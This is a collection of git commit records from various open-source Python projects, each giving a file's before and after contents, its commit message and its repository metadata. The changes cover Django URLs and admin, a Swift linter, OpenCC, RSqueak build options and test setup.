views.EntryBatchImportView.as_view(),
name='import'
),
url(... | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
app_name = 'td_biblio'
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='i... | <commit_before># -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
... | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
app_name = 'td_biblio'
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='i... | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
),
url(... | <commit_before># -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
... |
ba5260f5935de1cb1a068f0350cfe8d962e15805 | tailor/listeners/mainlistener.py | tailor/listeners/mainlistener.py | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | Implement UpperCamelCase name check for protocols | Implement UpperCamelCase name check for protocols
| Python | mit | sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor,sleekbyte/tailor | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | <commit_before>from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
... | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
self.__v... | <commit_before>from tailor.swift.swiftlistener import SwiftListener
from tailor.utils.charformat import is_upper_camel_case
class MainListener(SwiftListener):
def enterClassName(self, ctx):
self.__verify_upper_camel_case(ctx, 'Class names should be in UpperCamelCase')
def enterEnumName(self, ctx):
... |
8f2fcb6f377c93e36612bd815fe810afba56e355 | pyflation/__init__.py | pyflation/__init__.py | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | Add version to package documentation. | Add version to package documentation.
| Python | bsd-3-clause | ihuston/pyflation,ihuston/pyflation | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | <commit_before>""" Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be stu... | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | """ Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be studied.
The main... | <commit_before>""" Pyflation - Cosmological simulations in Python
Author: Ian Huston
Pyflation is a python package to simulate cosmological perturbations in the early universe.
Using the Klein-Gordon equations for both first and second order perturbations,
the evolution and behaviour of these perturbations can be stu... |
b8ca257a1a2727a9caa043739463e8cdf49c8d5a | news/middleware.py | news/middleware.py | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | Add statsd data for (in)secure requests | Add statsd data for (in)secure requests
| Python | mpl-2.0 | glogiotatidis/basket,glogiotatidis/basket,glogiotatidis/basket | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | <commit_before>from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, reques... | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, request, view_func, v... | <commit_before>from django.conf import settings
from django_statsd.clients import statsd
from django_statsd.middleware import GraphiteRequestTimingMiddleware
class GraphiteViewHitCountMiddleware(GraphiteRequestTimingMiddleware):
"""add hit counting to statsd's request timer."""
def process_view(self, reques... |
5cca245f84a87f503c8e16577b7dba635d689a26 | opencc/__main__.py | opencc/__main__.py | from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original text from... | from __future__ import print_function
import argparse
import sys
import io
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original... | Add support for Python 2.6 and 2.7 | Add support for Python 2.6 and 2.7
Remove the following error when using Python 2.6 and 2.7.
TypeError: 'encoding' is an invalid keyword argument for this function
Python 3 operation is unchanged
| Python | apache-2.0 | yichen0831/opencc-python | from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original text from... | from __future__ import print_function
import argparse
import sys
import io
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original... | <commit_before>from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read ori... | from __future__ import print_function
import argparse
import sys
import io
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original... | from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read original text from... | <commit_before>from __future__ import print_function
import argparse
import sys
from opencc import OpenCC
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--input', metavar='<file>',
help='Read ori... |
cb9933852e0f8c46081f084ea1f365873582daf8 | opps/core/admin.py | opps/core/admin.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_available', 'publis... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
from django.utils import timezone
from django.conf import settings
from django.contrib.sites.models import Site
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (a... | Fix bug 'auto field does not accept 0 value' | Fix bug 'auto field does not accept 0 value'
| Python | mit | YACOWS/opps,YACOWS/opps,williamroot/opps,jeanmask/opps,williamroot/opps,opps/opps,jeanmask/opps,opps/opps,williamroot/opps,YACOWS/opps,opps/opps,YACOWS/opps,williamroot/opps,jeanmask/opps,jeanmask/opps,opps/opps | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_available', 'publis... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
from django.utils import timezone
from django.conf import settings
from django.contrib.sites.models import Site
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (a... | <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_avai... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
from django.utils import timezone
from django.conf import settings
from django.contrib.sites.models import Site
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (a... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_available', 'publis... | <commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.contrib import admin
class PublishableAdmin(admin.ModelAdmin):
"""
Overrides standard admin.ModelAdmin save_model method
It sets user (author) based on data from requet.
"""
list_display = ['title', 'channel_name', 'date_avai... |
446eab8e384e28e6d679233ae0ae13dabaddb77d | .build/build.py | .build/build.py | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | Remove hack for sqpyte again | Remove hack for sqpyte again
Related: https://github.com/HPI-SWA-Lab/SQPyte/commit/1afdff01b989352e3d72ca7f2cc9c837471642c7
| Python | bsd-3-clause | HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak,HPI-SWA-Lab/RSqueak | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | <commit_before>#! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list o... | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | #! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list of optional plug... | <commit_before>#! /usr/bin/env python
import sys, os
"""
RSqueak Build Options (separated with `--` from RPython options)
Example:
.build/build.py -Ojit -- --64bit
--64bit - Compile for 64bit platform
--plugins database_plugin[,another_plugin] - Comma-separated list o... |
78e2cc736b7c3f5b0fdd2caa24cc9c1c003ca1b6 | test_proj/urls.py | test_proj/urls.py | from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'do... | try:
from django.conf.urls import patterns, url, include
except ImportError: # django < 1.4
from django.conf.urls.defaults import patterns, url, include
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),... | Support for Django > 1.4 for test proj | Support for Django > 1.4 for test proj
| Python | mit | django-admin-tools/django-admin-tools,django-admin-tools/django-admin-tools,miurahr/django-admin-tools,miurahr/django-admin-tools,django-admin-tools/django-admin-tools,glowka/django-admin-tools,glowka/django-admin-tools,eternalfame/django-admin-tools,eternalfame/django-admin-tools,miurahr/django-admin-tools,miurahr/dja... | from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'do... | try:
from django.conf.urls import patterns, url, include
except ImportError: # django < 1.4
from django.conf.urls.defaults import patterns, url, include
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),... | <commit_before>from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.stat... | try:
from django.conf.urls import patterns, url, include
except ImportError: # django < 1.4
from django.conf.urls.defaults import patterns, url, include
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),... | from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'do... | <commit_before>from django.conf.urls.defaults import *
from django.conf import settings
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
(r'^admin/', include(admin.site.urls)),
url(r'^admin_tools/', include('admin_tools.urls')),
(r'^static/(?P<path>.*)$', 'django.views.stat... |
e23190cb42bc64f9f381f05e24849174af3e9ff5 | base/test_views.py | base/test_views.py | from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_string = 'Hello, w... | from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.urls import reverse
from splinter import Browser
class TestBaseViews(StaticLiveServerTestCase):
"""Integration test suite for testing the views in the app: base.
Test the url for home and the basefiles like robots.txt and hum... | Add the proper tests for the base app | Add the proper tests for the base app
| Python | mit | tosp/djangoTemplate,tosp/djangoTemplate | from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_string = 'Hello, w... | from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.urls import reverse
from splinter import Browser
class TestBaseViews(StaticLiveServerTestCase):
"""Integration test suite for testing the views in the app: base.
Test the url for home and the basefiles like robots.txt and hum... | <commit_before>from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_str... | from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.urls import reverse
from splinter import Browser
class TestBaseViews(StaticLiveServerTestCase):
"""Integration test suite for testing the views in the app: base.
Test the url for home and the basefiles like robots.txt and hum... | from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_string = 'Hello, w... | <commit_before>from django.test import TestCase
from splinter import Browser
class TestBaseViews(TestCase):
def setUp(self):
self.browser = Browser('chrome')
def tearDown(self):
self.browser.quit()
def test_home(self):
self.browser.visit('http://localhost:8000')
test_str... |
8becd32fc042445d62b885bac12dac326b2dc1fa | tests/runtests.py | tests/runtests.py | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | Increase a bit verbosity of tests so people know which test failed | Increase a bit verbosity of tests so people know which test failed
| Python | lgpl-2.1 | nzjrs/pygobject,davidmalcolm/pygobject,MathieuDuponchelle/pygobject,alexef/pygobject,Distrotech/pygobject,davidmalcolm/pygobject,thiblahute/pygobject,GNOME/pygobject,davidmalcolm/pygobject,GNOME/pygobject,sfeltman/pygobject,MathieuDuponchelle/pygobject,jdahlin/pygobject,Distrotech/pygobject,sfeltman/pygobject,davibe/py... | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | <commit_before>#!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
... | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | #!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
common.importM... | <commit_before>#!/usr/bin/env python
import glob
import os
import sys
import unittest
import common
program = None
if len(sys.argv) < 2:
raise ValueError('Need at least 2 parameters: runtests.py <build-dir> '
'<test-module-1> <test-module-2> ...')
buildDir = sys.argv[1]
files = sys.argv[2:]
... |
cb1142d5ac8d144e5ab0fc95ceed156c855b6bd2 | randomize-music.py | randomize-music.py | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--artist', rand_name,... | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for root, dirs, files in os.walk(dir_name):
for file_name in files:
rand_name = uuid.uuid4().hex
src = os.path.join(root, file_name)
if src.en... | Generalize randomize script to work recursively and on more than just music | Generalize randomize script to work recursively and on more than just music
| Python | mit | cataliniacob/misc,cataliniacob/misc | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--artist', rand_name,... | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for root, dirs, files in os.walk(dir_name):
for file_name in files:
rand_name = uuid.uuid4().hex
src = os.path.join(root, file_name)
if src.en... | <commit_before>#!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--arti... | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for root, dirs, files in os.walk(dir_name):
for file_name in files:
rand_name = uuid.uuid4().hex
src = os.path.join(root, file_name)
if src.en... | #!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--artist', rand_name,... | <commit_before>#!/usr/bin/env python
import os
import subprocess
import sys
import uuid
if __name__ == '__main__':
dir_name = sys.argv[1]
for file_name in os.listdir(dir_name):
rand_name = uuid.uuid4().hex
src = os.path.join(dir_name, file_name)
subprocess.check_call(['eyeD3', '--arti... |
215622e070860cb24c032186d768c6b341ad27fb | nemubot.py | nemubot.py | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the prompt due to er... | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
prompt = __import__ ("prompt")
if len(sys.argv) >= 2:
for arg in sys.argv[1:]:
prompt.load_file(arg, servers)
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
while prompt.launch(servers):
try:... | Load files given in arguments | Load files given in arguments
| Python | agpl-3.0 | nemunaire/nemubot,nbr23/nemubot,Bobobol/nemubot-1 | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the prompt due to er... | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
prompt = __import__ ("prompt")
if len(sys.argv) >= 2:
for arg in sys.argv[1:]:
prompt.load_file(arg, servers)
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
while prompt.launch(servers):
try:... | <commit_before>#!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the p... | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
prompt = __import__ ("prompt")
if len(sys.argv) >= 2:
for arg in sys.argv[1:]:
prompt.load_file(arg, servers)
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
while prompt.launch(servers):
try:... | #!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the prompt due to er... | <commit_before>#!/usr/bin/python3
# coding=utf-8
import sys
import os
import imp
import traceback
servers = dict()
print ("Nemubot ready, my PID is %i!" % (os.getpid()))
prompt = __import__ ("prompt")
while prompt.launch(servers):
try:
imp.reload(prompt)
except:
print ("Unable to reload the p... |
05ec1e93e04b829b8a71f6837409de1b5c8ead5d | bndl/compute/tests/__init__.py | bndl/compute/tests/__init__.py | import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addr... | import sys
import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
# Increase switching interval to lure out race conditions a bit ...
cls._old_switchinterval = sys.... | Increase switching interval to lure out race conditions a bit ... | Increase switching interval to lure out race conditions a bit ...
| Python | apache-2.0 | bndl/bndl,bndl/bndl | import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addr... | import sys
import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
# Increase switching interval to lure out race conditions a bit ...
cls._old_switchinterval = sys.... | <commit_before>import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.... | import sys
import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
# Increase switching interval to lure out race conditions a bit ...
cls._old_switchinterval = sys.... | import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.net.listen_addr... | <commit_before>import unittest
from bndl.compute.run import create_ctx
from bndl.util.conf import Config
class ComputeTest(unittest.TestCase):
worker_count = 3
@classmethod
def setUpClass(cls):
config = Config()
config['bndl.compute.worker_count'] = cls.worker_count
config['bndl.... |
de841f77f6c3eaf60e563fd5cac0d9cb73dac240 | cairis/core/PasswordManager.py | cairis/core/PasswordManager.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | Revert database password policy while problems with keyring investigated | Revert database password policy while problems with keyring investigated
| Python | apache-2.0 | failys/CAIRIS,failys/CAIRIS,failys/CAIRIS | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
